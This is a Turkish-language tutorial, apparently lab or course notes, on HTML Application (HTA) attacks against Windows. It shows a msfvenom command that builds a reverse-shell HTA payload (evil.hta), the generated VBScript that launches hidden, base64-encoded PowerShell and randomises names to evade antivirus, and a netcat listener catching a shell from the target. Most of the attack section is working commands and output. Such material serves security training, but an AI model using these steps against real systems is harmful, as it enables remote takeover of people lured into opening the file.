HTA Nedir?: HTA, HTML Application'ın kısaltmasıdır ve HTML dosyalarının uygulama gibi çalışmasını sağlar. Windows işletim sistemlerinde HTA dosyaları genellikle .hta uzantılıdır ve Internet Explorer tarafından çalıştırılır.
HTA Saldırısı Nedir?: HTA saldırısı, zararlı HTML uygulamaları kullanarak bir hedefe kötü amaçlı kod enjekte edilmesi ve çalıştırılmasıdır. Bu tür saldırılar genellikle sosyal mühendislik teknikleriyle birleştirilir.
HTA Dosyalarının Yapısı
HTML ve JavaScript: HTA dosyaları HTML, JavaScript ve VBScript gibi dillerde yazılabilir. Bu dosyalar, tarayıcıda değil, sistem seviyesinde çalıştığı için daha fazla yetkiye sahiptir.
Çalışma Mekanizması: HTA dosyaları, tarayıcı yerine mshta.exe tarafından çalıştırılır. Bu, dosyanın sistemle daha derin entegrasyonuna ve daha fazla erişim iznine sahip olmasına olanak tanır.
Uygulama
HTA saldırısının nasıl gerçekleştirildiğini adım adım açıklayan bu bölümde, msfvenom kullanarak temel bir HTML Uygulamasını bir saldırıya dönüştüreceğiz. hta-psh çıktı formatını kullanarak PowerShell tabanlı bir HTA payload oluşturacağız.
HTA Payload Oluşturma
Msfvenom aracını kullanarak ters kabuk payload'u içeren bir HTA dosyası oluşturuyoruz.
kali@kali:~$ sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of hta-psh file: 6461 bytes
Saved as: /var/www/html/evil.hta
Oluşturulan HTA Dosyasının İncelenmesi
Oluşturulan .hta dosyasını inceleyerek nasıl çalıştığını anlamaya çalışalım. Dosya içerisindeki değişken adlarının rastgeleleştirildiğine dikkat edin, bu antivirüs yazılımlarını kandırmak için yapılır.
kali@kali:~$ sudo cat /var/www/html/evil.hta
<script language="VBScript">
window.moveTo -4000, -4000
Set iKqr8BWFyuiK = CreateObject("Wscript.Shell")
Set t6tI2tnp = CreateObject("Scripting.FileSystemObject")
For each path in Split(iKqr8BWFyuiK.ExpandEnvironmentStrings("%PSModulePath%"),";")
If t6tI2tnp.FileExists(path + "\..\powershell.exe") Then
iKqr8BWFyuiK.Run "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcg...
</script>
PowerShell Komutlarının İncelenmesi
Öne çıkan satırlarda, Windows Scripting Host'un Run yöntemi kullanılarak PowerShell'in üç komut satırı argümanıyla çalıştırıldığını görüyoruz.
-nop: PowerShell'in kullanıcı profili yüklememesi için kullanılır. Bu, mevcut kullanıcı profili scriptlerinin yüklenmesini engeller ve kodumuzun çalışmasını olumsuz etkileyebilecek potansiyel sorunları önler.
-w hidden: PowerShell komut penceresinin kullanıcı masaüstünde görünmemesi için kullanılır.
-e: Base64 kodlamalı PowerShell scriptini doğrudan komut satırı argümanı olarak sağlamamıza olanak tanır.
HTA Payload Çalıştırılması ve Exploit Aşaması
Oluşturulan evil.hta payloadının hedef sistemde çalıştırıldığı anda kali sistemimize bağlantı gelmesi için. Netcat aracıyla dinleme başlatmalıyız. Dinleme aktifken hedef sistemde evil.hta dosyası çalıştırıldığı anda bağlantı geliyor ve hedef exploit oldu.
kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 50260
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Offsec>